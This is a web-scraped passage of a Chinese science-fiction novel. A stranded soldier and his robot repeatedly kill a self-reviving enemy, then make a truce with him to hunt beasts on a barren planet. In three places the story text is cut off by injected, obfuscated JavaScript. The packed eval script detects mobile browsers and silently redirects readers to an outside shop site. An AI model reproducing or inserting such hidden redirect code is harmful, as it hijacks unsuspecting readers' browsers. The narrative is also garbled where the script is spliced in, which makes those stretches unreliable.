他迫降在H58荒星,却遇到一名重伤的序列者,很轻松地解决了,算是一个意外的惊喜。 但如果解决掉的是一名高阶序列者,那么惊喜就变成了惊吓。 “纪九?”一直卡壳的机器人出声。 纪九终于回过神,看着手里的匕首。锋利刀刃就悬在那块凸起的喉结上方,如果划下去,鲜血四溅,序列者又会死在自己眼前。 可抹了脖子又怎样?他明天依旧会复活,对自己的仇恨也会再添一笔。 他知道高阶序列者就是怪物,只有用铦电才能彻底杀死。而铦电这种东西非常稀有,军部只储存了少量,他身边也没有铦电武器。 好在序列者此时非常虚弱,不然不会去做那什么陷阱机关对付自己,被匕首抵着也毫不反抗。 纪九虽然不清楚序列者虚弱的原因,但他的虚弱,总算是让这件事情有了些转圜的余地。 “你现在应该动不了我,我却可以杀你。不过大家都流落到这地步了,能不能离开荒星都难说,还杀来杀去做什么?我们暂时抛开所有恩怨,就当什么事都没发生过,你觉得如何?”纪九的声音和气了许多。 他觉得既然弄不死这序列者,那就先拖延时间,一直拖到银盟军到来,有了帮手后再把人解决掉。 序列者听了他的话,紧闭嘴没有做声,但纪九瞧得真切,看见他眼里闪过了一抹犹豫。 “以前我不认识你,你也不认识我,素味平生的两个人,何苦要打得死去活来?你现在受了伤,想杀我很难,我也不忍心再对你下手。那不如我们就和谐相处,共度眼下难关?”纪九趁热打铁,继续劝说。 序列者沉默片刻,终于缓缓点头:“可以。” 纪九暗自松了口气,笑道:“是个爽快人,那我们就这么说定了。” 序列者撑着手,要从推车里坐起,纪九殷勤地去扶,被他抬臂挡开。 “不用,请帮我倒杯水,谢谢。”序列者垂着眼眸,声音听上去依旧冷淡。 纪九在心里冷笑,语气却依旧和气,笑容也很亲切:“那你坐着,我去帮你倒水。” 同时给机器人递了个眼神,示意它将人看着。 “知道,我会盯着他。”机器人挺起胸膛,声音洪亮。 纪九飞快地看了眼序列者,见他神情无异,便笑着用手指点了下机器人:“这孩子,不懂事。” 纪九走向宿舍区,前方通道里倒着一台废弃的发电机,这里原本就乱七八糟,所以他也没有在意,只准备从旁边绕过去。 但就在要进入那条狭窄通道时,他心头突然一动,停下脚步微微侧头,发现序列者就坐在车上看着自己。 纪九警惕起来,不动声色地打量四周,接着视线顿住,眼睛微微眯起。 他盯着前方半空那条若隐若现的丝线,目光顺着向右,再往上,仰起头。 接着便看见头顶上高悬着一根钢钎,顶端尖如利剑,闪着雪亮的寒芒。 纪九慢慢转过身,面无表情地和序列者对视着,再一步步走了回去。 序列者设下的机关被发现,却半分不惊慌,也不遮掩,语气坦然地道:“本来我可以放过你,但你心思活络,是个极不稳定的因素,所以我觉得还是杀了的好。” 纪九走到推车旁,垂眸看着他,目光冰冷如霜。接着再俯下身,一字一句地道:“行,那你活一次,我杀一次,看我们谁能活到最后。” 他倏地站直身,对机器人喝道:“吴思琪,杀了他!” 既然匕首没有用,索性就用子弹将人打成个马蜂窝。 机器人立即朝着序列者抬起两条胳膊,机械手缩回,胳膊变成了枪膛。 咔咔咔。 接着发出一连串空膛声。 “呀,我的子弹昨天就打光了。”机器人解释,又气势汹汹地开着滑板车去往一旁,“我去找把铁锨把他铲死。” 纪九看着机器人的背影,只抬手拉开浴袍的结,抽出腰带,两头拽在手上,崩紧试了试。 再毫不迟疑地绕上序列者的脖子,狠狠勒紧。 他用力拽绳,手背上凸起了道道青筋。序列者却没有挣扎也没有出声,只用一双黑沉的眼睛看着他。 纪九虽然经历过数场战争,也和塔柯军面对面拼杀过,但此时被这双深潭般的眼睛看着,只觉得后背一阵发寒,心头的杀意飞快散去,便逃避似地侧过头,看向了一旁。 纪九一直勒到机器人返回才松手。 他背靠推车滑坐在地上,两条胳膊都已脱力,只低头喘着气。 他这些年出生入死,却从未在这样的场景里杀过这样淡定的人,也是第一次杀死自己曾经杀过的人。虽然对方是仇敌,虽然一次次给他设置陷阱机关,但这种感觉也让他很不好受,给他心理上造成了极大的压力。 “纪九?”机器人拖着一把金属铲站在旁边。 纪九脸埋在膝盖间,片刻后才哑声道:“你看看他死了没有。” “死了。” “检查仔细一点。” “检查仔细了,心尖跳动已经停止,血压也降到了0。” “再检查一遍。” “……好的。” 机器人继续检查序列者尸体,纪九伸手抹了把脸,摸到一手涔涔冷汗。 “我确定他已经没有了生命存活的迹象,确定率为百分百。”机器人再次汇报。 纪九闭上眼,仰头靠着推车轮,声音疲惫地道:“找根绳子,结实一点的,把他的尸体捆在车板上。” “好的。” “多捆几圈,手脚也要全部捆住。” “好的。” 整个白天,纪九和机器人都在忙碌。他检查了能量系统,清理仪器设备里的灰土和锈蚀,确保生活区的水电供应不会断。机器人则负责打扫卫生,还冲洗整理出了一间厨房。 但他俩总会时不时就离开屋子,去看看序列者尸体,担心他现在就已经在开始诈尸。 纪九站在推车旁,目光一寸寸扫过尸身。 1,2,3,4,5。 胳膊上的绳子绕了五圈,依旧是绑的克雅结,没有变化。 左边额头上搭着一缕头发,离眼睛约莫一寸距离,头颅没有转动。 右腿裤子的那道皱褶还在,位置相同,没有起身过。 确定序列者没有复活,他这才转身走向工作区。 他刚走进工作区其中一间房子,机器人又离开厨房,驾驶着滑板来到了推车旁。 无呼吸。 无心跳。 无血压。 对外部刺激和内部需要无接受性、无反应性。 很好,死得很彻底。 到了晚上时,地下生活区终于被收拾出来。纪九头上搭着一条毛巾,穿着浴袍趿拉着拖鞋,坐在一台仪器上休息。他左边半空系了一条长绳,机器人在晾洗净的军装和床单被套,右边则是那架躺着序列者尸体的推车。 纪九盯着尸体,嘬了一口营养剂,突然坐直了身:“他好像动了一下。” 机器人立即扭过头,接着道:“没有动。” “你在晾衣服,又没有看着他,怎么知道他动没动?” “我把他身体和推车边缘的相隔距离记下来了,一厘米都没有偏移。”机器人回道。 机器人晾完衣服,便开着滑板停在纪九身旁,一人一机器人继续盯着尸体,有句没句地说着话。 “吴思琪,你知道高阶序列者只有用铦电才能杀死吗?” “知道。但铦电非常稀少,军部也只有一点点,我们没办法弄到铦电对付他的。” “吴思琪,如果他现在突然活了,啪一声挣断了绳子,你怎么办?” “我有这个。”机器人握住了金属铲。 “他一把抓过你的铲,啪一声掰成两半,你怎么办?”纪九追问。 “我会夺回来一半,金属铲只有一半也很锋利。” “他再抓过你夺走的那一半,啪啪啪啪掰成无数碎片,你怎么办?” 机器人:“……” 纪九经常没有个正形,机器人也已习惯,所以干脆闭上嘴保持沉默。 机器人不吭声,纪九却哈哈笑了起来,又搂住它拍它的脑袋。 一人一机器人正在打闹,都没注意到推车上的序列者尸体,突然很轻地皱了下眉头。 “吴思琪,如果我和纪北宴都掉进水里了,你只能救一个,你会救谁?” “纪北宴。”机器人冷冰冰地道。 “没意思,真没意思。”纪九叹气,又用手指点着自己胸膛,“虽然纪北宴是你的初始主人,但他将你送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187189|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给了我,那你唯一的主人就是我,纪南瑾。” 机器人没有反应,纪九道:“好吧,看你已有悔过之意,那我给你个机会,我们再来一次。如果纪北宴和我——” “纪北宴。”机器人道。 …… 他们说话的间隙里,能听见隐约的钢鬣兽嚎叫,还有头顶扇叶转动时的嗡响,以及床单被吹动时发出的轻微动静。 银盟军的药物效果非常好,只过去了一天一夜,纪九胸口的伤就已经差不多痊愈。但夜晚来临时,他还是觉得很疲倦,忍不住地打呵欠。 机器人催他回屋睡觉,他看着推车道:“我们睡着了,阿怪半夜摸进屋,我要是没有惊醒,那该怎么办?吴思琪,要不你今晚就别关机了?” “我怎么能不睡觉呢?”机器人拒绝。 “其他机器人晚上都不关机的,只有你。” “我不知道其他机器人是怎么样的,但是我肯定要保证充足的睡眠。” 机器人转过身,纪九看着它倔强的背影,幽幽叹气:“就不该把情感情绪值调到百分百啊……” 机器人突然又转过来,低哑着声音,屏幕上闪动着诡异的光:“要不这样,我们把他剁成肉块,红烧肉那么小,一半冲进马桶里,一半丢去地面。” “好主意。”纪九称赞,将匕首递给它,“你来剁。” 机器人屏幕上开始闪烁雪花点,假装线路问题没有听见。 “说了多少次,要尊重尸体,尊重尸体。”纪九收起匕首,仰头叹气:“何况高阶序列者是杀不死的,哪怕剁成一千块,也能再长出新的血肉。” 时间又过去了半个小时,纪九觉得这样不行,他总不能一直不眠不休,就这样守着尸体干耗。他看看通道口方向,又看看序列者尸体,决定将他推到地面去。 地面上夜晚温度极低,序列者就算活了,应该也会被冻死吧。 H58行星表面下着大雪,冰冷漆黑的世界里四处闪烁着绿光,像是飘忽不定的鬼火。 地面突然被光线划出了一个四方缺口,洒出的亮光照着前方那一片积雪,也照出那些闪烁绿光不过是钢鬣兽的眼瞳。 一名裹得严严实实的人钻出通道口,接着转身,从里面慢慢拉出了一辆推车。 一高一矮两道身影在推车旁站了两秒,四处张望,接着返回,咣一声重响,光亮跟着消失。 推车孤零零地停放在雪原之上,很快便覆上了一层积雪。那些绿光围在推车一周,既没有靠近,也不曾远离,形成了一个闪烁的绿圈。偶尔有绿点往中心飘近几米,又飞快地退了回去。 纪九回到地下,赶紧关上通道门,再落了锁。 不过他依旧不放心,便在门下拉了一根银碳丝,另一头悬空挂着一大堆破铜烂铁。这样就算他睡着了,序列者从外面弄开了门锁,也会碰上那根丝线,破铜烂铁制造的动静会将他吵醒。 纪九设置好小机关,便带着机器人回了宿舍区房间。矿工宿舍的条件还不错,空间足够,床铺柔软,还有简单的家具。纪九剥掉身上的毛毯,将匕首塞在枕头下,一个后仰便倒在干净的床上。 “睡吧,放心地睡。”纪九闭上眼睛,听着机器人找插座给自己充电的声音,疲惫地喃喃,“吴思琪,好梦。” “纪九,好梦。” 纪九又抬手在半空挥了挥:“阿怪,好梦。” 纪九这晚睡得不是很安稳,第二天很早就醒了。他刚睁眼就翻起身,同时按下了机器人的开机键。 “才六点,你强行让我开机,我都还没有睡醒。”机器人有些不高兴。 “走走走,去看下阿怪什么情况。” 那堆破铜烂铁还挂在空中,通道门也依旧紧闭。纪九松了口气,将它们取下来,再按下了门锁开关。 门锁发出开启的咔哒响声,头顶门扇却没有反应。纪九又连按了几次,用手去推,门扇依旧纹丝不动。 “锁坏了?可看上去是好的啊……”纪九皱起眉,对机器人道:“你来看看是怎么回事。” 机器人伸出锯线,探进门锁缝隙。 “这个锁是完好的,没有坏。”它检查一番后回道。 “那门怎么打不开?” 机器人道:“因为门外还有一道锁,我们被人从外面锁上了,是我开不了的那种密码锁。” 8. 第 8 章 纪九盯着通道门看了半晌,才不敢置信地笑了一声:“他锁门?他这是把我们锁上,怕我们出去杀他?” “可能是吧。” “锁门好,大家都锁上,互不干扰。我们就呆在这地下生活区,等着银盟军来接我们就好了。”纪九放松地长吁一口气,一边笑着打量那门,一边对机器人伸出了手。 手掌里迟迟没有放上东西,他又提醒:“吴思琪,早饭。” “没了。”机器人道。 “给我拿一支营养剂。” “营养剂没了。”机器人拍拍前胸储物箱,“昨天晚上,你喝掉了最后一支营养剂。” 纪九慢慢转头看向机器人。 “我喝最后两支的时候,你怎么不给一点提示?如果我知道营养剂快没了,就会省着喝!” 机器人委屈道:“我提示了的呀。” “你怎么提示的?” “我说我在整理厨房。” “……那叫提示吗?” “很明显的提示。如果营养剂充足,我怎么会整理厨房?” 纪九手持一把钻枪,钻头嗡嗡着前伸,想嵌入门扇和墙壁之间的细小缝隙。 片刻后,他关掉钻枪,对机器人道:“门缝太窄,还是不行。” 他们已经折腾了一小时,换了各式各样的工具,却只是在门缝处划拉出数道擦痕。 纪九狠狠一拳砸上门扇,发出轰一声响。他握住自己发疼的手,咬着牙道:“那怪物是想把我困死在这里。” “现在怎么办?”机器人问。 纪九仰头看着上空,片刻后起身:“算了,我去找找这里面有没有什么吃的。” 他俩将所有房间都翻了一遍,还真就找到了几包袋装食物。但拆开袋子后,发现与其说这是食物,不如说是化石更恰当。 纪九坐在房门口的台阶上,双手握拳抵住下巴,双眉紧蹙。机器人沉默地站在旁边,不时看他一眼。 “吴思琪,现在摆在我面前的只有两条路。一是直接把门炸开,出去和他斗,二是就在这里呆着,没准坚持上几天,军队就来接我了。”纪九一下下抬头,下巴轻轻撞在拳头上,“你觉得哪条路更好?” “门炸开,钢鬣兽会冲进来。饿上几天,我可以,你不行。”机器人沉思片刻,“你真的不喜欢最后的矿场吗?没有比这个当葬礼背景乐更合适的了。” 纪九没有做声,半晌后拍了下自己的腿,突然站起身,大步走向了宿舍房间。 再出来时,他依旧穿着那件浴袍,胸膛半敞,露出一小片光润的肌肤,那道已愈合的伤口呈现出粉色,但肩上却扛了架迫击炮。 “走,轰开门,杀出去。”纪九提步朝着通道口走,“反正都要打一场,别等我饿到连扛炮的力气都没有了,那时候就只能等死。” 纪九站在空地上,炮筒口斜斜向上,对准了通道门。 “我在门缝处没有听到钢鬣兽的声音,证明那个怪胎没有走远。这道门一破,我们第一时间就要冲到怪胎身旁,借着他挡住钢鬣兽。”纪九道。 机器人应声:“明白。” “同时要最快速度把他弄死,把尸体拖回地下,抢修通道门。” 机器人将金属铲横在胸前:“知道。” 纪九再往后退了几步,深深吸了口气,手指扣下了扳机。 一枚炮弹出膛,通道门碎片四溅,地下空间发出震耳的回响,空地上重叠堆放的仪器被震得轰然倒塌。 纪九冲入烟尘中,迅速钻出地面,扛着炮筒原地转了一圈。 通道口一周并没有钢鬣兽,只看见左边烟尘里有一道人影,静静地坐在那里。 烟尘散去,序列者就坐在左边一块大石上,两条长腿放松地伸着,头发一丝不乱,领带端正,神情冷淡地看着纪九。 纪九保持着肩扛炮筒的姿势没有动,只瞥了眼站得远远的钢鬣兽,又从准星里看向序列者,问道:“如果我把你炸成碎片了,你能不能恢复?” 序列者微微侧头,像是在认真地思索这个问题,然后严谨地回道:“我没有试过,从理论上来说能恢复,只不过需要稍长的时间。”不待纪九继续问,他又道,“但因为身体太不完整,所以也没法替你挡住钢鬣兽的冲击了。” “啊!!!!” 机器人架着滑板车从纪九身旁冲了出去,横握着金属铲,大叫着冲向序列者。 纪九一把抓住它,低声道:“没礼貌!”又朝序列者露出一个明朗的笑,“早啊,阿宝。” 他心里清楚,如果用迫击炮将对方炸成碎片,就震慑不了那一圈虎视眈眈的兽群,自己也要丧生在钢鬣兽的口中。 全尸。 得弄到全尸。 纪九还扛着迫击炮,但态度亲切,就像清晨在自家后院,和隔着一道篱笆的邻居打了个招呼。 “这H58虽然晚上冷了点,荒凉了点,但白天很热啊,这是快三十度了吧?空气里的负离子含量也很高,证明远处还是有森林和湿地的。” 纪九放下迫击炮,俯身拍掉浴袍下摆上的灰土,走向了序列者。 他脚步放得很慢,脸上挂着笑,但每一步都是试探,一只手不动声色地摸向腰后匕首。 序列者没有什么反应,只用一双漆黑幽深的眼瞳看着纪九,却在两人距离五六米时突然开口:“我和你做个交易。” 纪九愣了下,脚步暂缓。 “什么交易?” “一桩可以让我不杀你的交易。”序列者道。 纪九这次真的笑了起来:“你不杀我?” “对,我不杀你。” “确定吗?” 序列者缓缓点头:“确定。” 序列者的语气和神情都太平静,哪怕坐在那里不能动,身上都散发着一种高阶力量的自信和压力。 “你应该已经猜到了,我身体出了点问题,所以你现在才能站在这里和我对话,还获得了和我进行交易的机会。”序列者说得有些慢,像是在斟酌措辞,“就像你所看见的,我现在连起身的能力都没有,但要对付你的话,不难。” 纪九没有说话,用舌头顶了下腮帮。 他知道面前这人不好对付,但到底还是被这话里的轻视给激出了气性,索性拔出匕首,在手上转了两圈,目光里透出冷意。 序列者却连余光也没分给那把匕首,只紧盯着纪九。 “你现在是可以杀我,借用我的尸体修好通道门。”序列者顿了顿,意味深长道,“但你始终没法彻底杀死我,而我要杀你的话,只需要一次机会就够了。” “我确实不能24小时不眠不休盯着你的尸体,也不能保证在你苏醒后第一时间就杀掉你。但那总比你活着,随时会给我做各种各样的陷阱更安全。” “如果我们达成交易,我不会再给你设任何陷阱,也不会杀你。”序列者道。 纪九冷笑一声:“不信。” “你只能信我,不然你也没有其他更好的办法。”序列者的目光停留在纪九脸上,像是会洞察人心一般,“你嘴上说银盟军几天就能找到你,但你心里清楚,这是不可能的事。如果你没有用通讯器和他们取得联系,那他们要在茫茫太空里找到你,这个过程会非常漫长,也许是永远。” 机器人听到这话,转头看了眼纪九。 这其实是纪九一直不想面对的问题,他哄着机器人,也哄着自己。现在被序列者直接道明,又听他提到了那被破坏的通讯器,顿时怒火上涌,重新握紧了匕首。 序列者却又淡淡开口:“你杀我两次,我毁你传感器,这很公平。” 纪九那些怒气顿时堵在了胸口,上不去,下不得。 序列者打量着他:“不过我有完好的传感器部件,可以用来修复通讯器。” 纪九心头一跳,喉咙也有些发紧,却不是太敢相信。 “你既然有传感器,为什么不自己修好通讯器和塔柯军联系?”他问道。 序列者回道:“这是我的私事,但我的确有完好的传感器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结果非要再死上一次才罢休。 “昨晚我仔细想过了,我俩都落到这地步,能不能离开荒星都难说,还杀来杀去做什么?以前我不认识你,你也不认识我,素味平生的两个人,何苦要打得死去活来?不如我们就和谐相处,共度眼下难关。”序列者神情坦然地将纪九昨天的话复述了一遍。 和生死相搏的仇敌达成了停战协议,纪九神情复杂地摸着自己下巴,心里说不清是什么滋味。 序列者等了片刻,微微皱了下眉:“还站着做什么?” 见纪九不解,序列者目光移到他身后。他跟着转头,看见了那群窥伺在侧却不敢靠近的钢鬣兽。 纪九愣了下:“这就开始了?” “你觉得呢?” 既然双方的交易关系已经成立,纪九也不拖延,直接将匕首横咬在嘴里,撩起过长的浴袍下摆掖在腰间。 序列者看着他的动作,再次不易察觉地皱了下眉。 “阿怪啊,我有个问题,这些钢鬣兽明明害怕你,为什么又不逃?”纪九口齿不清地问。 序列者并不介意他对自己的称呼,回道:“因为它们既怕我,又想杀我。” 纪九拿下嘴里的匕首,笑着问:“你在说我?” 序列者不置可否,视线在他卷起的浴袍下方停了半秒,又转头看向一旁。 纪九握着匕首,迈动两条修长光滑的腿,穿着夹趾拖,大步走向了钢鬣兽群,机器人也赶紧跟上。 随着纪九靠近,钢鬣兽群起了一阵兴奋的骚动,眼睛闪着暴力嗜血的绿光,涎水顺着长牙往下滴。 机器人默默打开播放器,一缕呜咽箫声在荒原上响起,哀哀戚戚。 “吴思琪,怎么又是最后的矿场?” “我觉得这首曲子很适配。”机器人幽幽道,“毕竟我们的子弹都打光了,它们又那么多。” “子弹打光了没有关系,对付几只野兽,匕首和铁铲已经足够。” “要是的确杀不过呢?”机器人看着那密密麻麻的兽群,滑板车前进的速度减缓。 纪九转头看了眼序列者,对机器人低声道:“要是的确杀不过,那我们就毁约,回头杀他。” “好!”机器人重新振作,并换了一首节奏激烈的电子音乐。 9. 第 9 章 一人一机器人停在离兽群七八米远的地方,纪九对机器人道:“我们不能离怪胎太远,你就在站在这儿,我去引一只过来。” “明白。”机器人横握着金属铲。 纪九上前几步,一手持匕首横在胸前,一手朝前方招了招。 “吼!”兽群狰狞咆哮。 “吼!!”纪九也凶狠地吼了回去。 钢鬣兽被他的挑衅行为激怒,立即扑出来三只,在空中露出雪亮的尖齿。 纪九后退到机器人身旁,视线死死锁定它们,在它们下扑的瞬间刺出匕首。机器人也挥动金属铲,一铲拍在其中一只的兽脸上,发出砰一声重响。 不想钢鬣兽的外皮异常坚硬,刀尖只在鳞片上撞出一团火花,纪九惊呼:“这么硬!” 钢鬣兽转头咬来,他赶紧躲开,虽然避开了那排利齿,一条袖子却被另一只钢鬣兽给撕掉,胳膊上也出现两道爪尖划出的血痕。 “它们的鳞片很厚,只有子弹才能打穿。”机器人道。 “那就照着脑袋打,那里没有鳞片。” 黄土飞扬,震天嘶吼声里夹杂着激烈的电子音乐,利爪尖牙伴着铁铲和匕首齐飞。钢鬣兽行动迅速,扑闪凶狠,纪九脚上的拖鞋已被甩掉,白色的浴袍也变成了土黄色,满头满脸是灰,看着很是狼狈。 序列者就坐在不远处,大部分时间都在出神,偶尔转头看一眼战况,又不甚感兴趣地挪开视线。 纪九眼见一只利爪抓来,后倾仰身,一只钢鬣兽从他上方扑过,带起一阵腥臭的风。 他还没来得及起身,旁边又扑来一只,好在金属铲从天而降,一铲将那钢鬣兽的头给拍得转向了右边。 “纪九。”机器人喊了声。 “明白。” 纪九一个挺身站直,匕首刺入钢鬣兽眼窝,鲜血四处喷溅。接着又闪向一旁,躲开了从侧面咬来的巨口。 一番搏斗,三只钢鬣兽终于都变成了尸体。纪九弓着背赤着脚,双手撑在膝盖上,额角的汗水淌过满是灰土的脸庞,冲刷出两道灰色的痕。 好在除了胳膊上那两道伤痕,其他地方倒没有受伤。 钢鬣兽群被血腥味刺激得躁动不安,但纪九始终不离序列者的威慑范围,它们便只进进退退,冲着他愤怒嘶吼。 机器人关掉音乐,掏出药剂去喷纪九的胳膊:“伤口不深,不用包扎,消毒一下就行。” 纪九喘过那口气后,转头看向序列者:“杀了三只。” 序列者似乎对这个数字不太满意,只道:“把尸体拖过来吧。” 纪九抬起衣袖擦了把脸,却反而在那脸上添了一道横贯鼻梁的污痕。他杀得辛苦,语气就不太好:“我们的交易里只有杀掉它们,可没有提过还要替你拖尸。” 纪九坐去一旁的石头休息,对面的钢鬣兽冲着他嘶吼,他也满脸狰狞地吼了回去。 被他这样威慑性的一声吼,那些钢鬣兽的声音竟然小了些。 序列者站起了身,朝着这边慢慢走来。他虽然虚弱,但身姿挺拔,光线从上方倾落,将他映得鼻梁高挺,眉眼深邃,脸庞也更加棱角分明。 纪九看着他,虽然知道这是名塔柯人,是终会生死一战的死敌,但还是忍不住在心里暗道了一声帅。 序列者原本目不斜视,此时也看向纪九,接着脚步微顿。 纪九身体后仰,单手撑在身后,浴袍下两条伸长的腿大喇喇张开,一双光脚踩着地面。他头发被灰土染成了棕色,一张脸脏污得只能看见两只明亮的眼睛,在和序列者对上视线后,还露出一个吊儿郎当的笑容,冲他挑了下眉头。 序列者很明显地皱了下眉,再收回视线,走到一只钢鬣兽尸体前站定,单膝下蹲。 他低头查看兽尸眼窝处的刀口,并朝着坐在右边的纪九伸出了一只手:“我要破开它的头颅,借用一下你的匕首。” 纪九盯着他看了两秒,才将匕首拍在了面前的掌心里。 待序列者接过匕首,纪九看似不在意,却坐直了身体,右手按着身旁一块拳头大的石头。他想给机器人递个眼风,让它提防着,又怕它突然吵吵,你的意思是现在打死他还是再等等? 但序列者只专心地剖开钢鬣兽头颅,用刀尖从那灰黑色脑组织里挑出了一个枣子大小的圆核。 “这是什么?”纪九问:“瘤子?” 那圆核灰白色,看上去质地坚硬,像是某种混合性胶质瘤。 序列者没有回答,只在纪九和机器人的注视下,将圆核送进嘴,咽了下去。 纪九:…… 机器人:…… “如果你很饿的话,这里有钢鬣兽肉,可以做熟了吃。”纪九缓缓开口。 “地下生活区有厨房。”机器人补充。 “其实只杀一只钢鬣兽,这肉就够我们吃上很多天了。” “是的,没必要,真没必要杀那么多。”机器人附和。 …… 纪九和机器人一唱一和,序列者却已剖开了剩下两只钢鬣兽尸体的头颅,并从中挑出那种浅白色圆核,送进嘴,面不改色地咽了下去。 纪九看着那滚动的喉结,也跟着吞咽了下,道:“你的口味还真是奇特。” 序列者吃掉三颗圆核,看也没看地上的兽尸,将匕首递还给了纪九,便转身走远。 “还有七只,抓紧时间。”他头也不回地道。 纪九冲着他背影喊道:“你让我杀这个,就是因为好这一口?我拼死拼活,就是因为你每天想吃上十个瘤子?” 序列者只回答他三个字:“传感器。” 纪九顿时没了声音,半晌后才转回头,长长地吐了口郁气。 “杀吗?”机器人握着长杆已经弯曲变形的金属铲。 “杀什么杀?已经杀了三只了,暂时不杀。” 机器人示意他去看序列者:“我说的是他。” “杀什么杀?”纪九又叹了口气,“杀了他就没有传感器。” 纪九从石头上跳下地,穿上机器人找回来的拖鞋,围着一只钢鬣兽尸体走了一圈,用匕首去划它肚子上的鳞片。 “今天还有七只钢鬣兽的任务,得先填饱肚子才行……这东西的鳞片太硬了,吴思琪,你回去拿个电锯来,我们锯开鳞片,割它一块肉。” 机器人回去拿来了电锯,两个在响亮的电锯声中割肉。 “可能肚皮上的嫩一点,腰脊肉也割一块,都做熟了尝尝,看哪个部位最好吃……” 纪九在这边割肉,序列者就坐在不远处,既不询问也不催促,就那么安安静静地等着。钢鬣兽群闻到血腥味,涎水不断往下滴,却又畏惧地不敢冲上前。 纪九割了几块不同部位的肉,带着机器人走向通道口。序列者也很自然地站起身,跟在了他们身后。 通道口内的斜坡上满是金属碎片,那是刚才被炸开的门。纪九将几块肉递给机器人:“你去做饭吧,我来修门。” “我不会做饭呀。” “你是最优秀的机器人,做饭这种小事难不倒你。而且你储存了那么多资料,里面肯定有菜谱。” 机器人去往厨房,纪九在那堆金属板里挑挑选选,比划着尺寸大小。序列者则坐去不远处的一张废弃沙发上,闭着眼休息。 焊枪滋滋冒着火花,机器人不断离开厨房,远远地冲着纪九喊:“我找到了调料,它们保存在密封干燥器里,非常完好。” “不错。”纪九大声回道。 “纪九,少许是多少?” “少许就是少许。” “可以具体一点吗?” “少量,一点点。” “参照物呢?” “你的小指头。” 机器人举起自己的手:“是小指头的十分之一?五分之一?还是三分之一?” “……都行。” “不能都行。” 纪九便取了个中间数:“五分之一。” “纪九,一勺是多少?”机器人一手拿着个小汤匙,一手拿着个炒菜的大勺。 “小的那个勺。” 纪九,适量是多少? 纪九,八成熟是多熟? 纪九,纪九…… 纪九…… 砰! 生活区内突然响起惊天动地的爆炸声。 纪九和序列者一起看向厨房,只见浓烟正从大敞的厨房门涌出,全身黢黑的机器人冲出房间,手里还抓着一把炒菜勺。 厨房里灭火装置启动,唰唰的喷水声里,机器人站在门口,遥遥看着纪九。 “我就说过我不是家政机器人。”它委屈地喊道。 厨房里像是发过一场大水,锅碗瓢盆都泡在水中,没清理之前无法使用。纪九便在空地上架起了烤炉,将肉片搁在铁架上翻烤。 “看见了吗?这样烤肉总会了吧?”纪九问站在旁边的机器人。 “会了。” 机器人开始上手烤肉,并播放了一首轻音乐。纪九焊接好整块金属板,将那块板嵌进卡槽,按动开关试了几次,门扇开合自如。 机器人还在忙碌地烤肉,纪九收拾好工具走到烤架旁,拈起一片烤得两面焦黑的肉片,咬了一小口。 “好吃吗?”机器人脸部屏幕上的那对眼睛显得有些紧张。 “好吃。”纪九竖起大拇指。 机器人欢喜得眼睛发光。 其实这肉片又老又柴,腥膻味混着焦糊味。纪九面不改色地咀嚼着,不时看一眼不远处的序列者。 他没有叫上序列者一起吃,序列者也一直在闭眼休息。 “他不吃饭,也不充电,会饿死吗?”机器人小声问。 “管他呢。”纪九想了想,“不过他有吃瘤子,已经吃了三个,等会儿还要吃七个。” 纪九匆匆吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187191|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完盘子里的肉,拿过机器人递来的布巾抹了下嘴:“走吧,再去杀钢鬣兽。” 序列者这次没有跟上来,纪九带着机器人到达地面,见东边的钢鬣兽离得近,西边的离得远,知道是因为序列者所处位置比较靠西的缘故。 “你快上,我给你补铲。”机器人开始播放电子乐。 “等等。” 纪九返回通道口,冲着里面喊:“阿宝,我要开工了啊——吴思琪,音乐声关小点——阿宝,你要是突然去上个厕所什么的,那我可就要被钢鬣兽给扑了。我出事不要紧,但你的瘤子大餐就没了。” 纪九喊完后,看见那背朝自己坐着的人抬了下手,表示他知道了。 钢鬣兽群从纪九冒出地面时就开始骚动,不断冲近又后退。纪九挽高衣袖,冲着它们道:“别急,马上就好。不过我先挑哪一只呢?要不你们主动出来?血性一点,来来来……都不出来吗?那只能我自己选了——” “吼!”一只钢鬣兽按捺不住凶性,咆哮着冲了出来。 “有血性!”纪九大喝一声,握着匕首扑了上去,“就是你了!” 纪九上午已经捕杀过三只钢鬣兽,所以现在动手时就有了不少经验。他并不会和钢鬣兽硬碰硬,只不断闪躲,灵活地窜来绕去。 钢鬣兽很快便暴躁狂乱,脑袋连中了机器人两铲子。纪九也抓住机会,突然一个转身,将匕首刺进了钢鬣兽的眼窝。 “再来!”他喘着气,冲着兽群勾勾手指。 “再来!”机器人也挥舞着金属铲。 虽然有了丰富的经验,但战斗依旧很惊险。有时候好几只扑上来,纪九便冲回通道口,嗖地跳进去,躲上几分钟,待到它们散开后再出来。 又杀了一阵后,十来只钢鬣兽突然冲出了兽群。纪九果断放弃攻击,喊了声快跑,狂奔出几步后,一个纵跃跳进了通道。 “纪九,我被咬住脚后跟了。”没跑得过的机器人在惊慌地喊。 纪九探出头,看见机器人的滑板车被一只钢鬣兽咬住,立即冲着那方向大叫一声:“吼!” 钢鬣兽抬头松口,机器人趁机逃了过来。 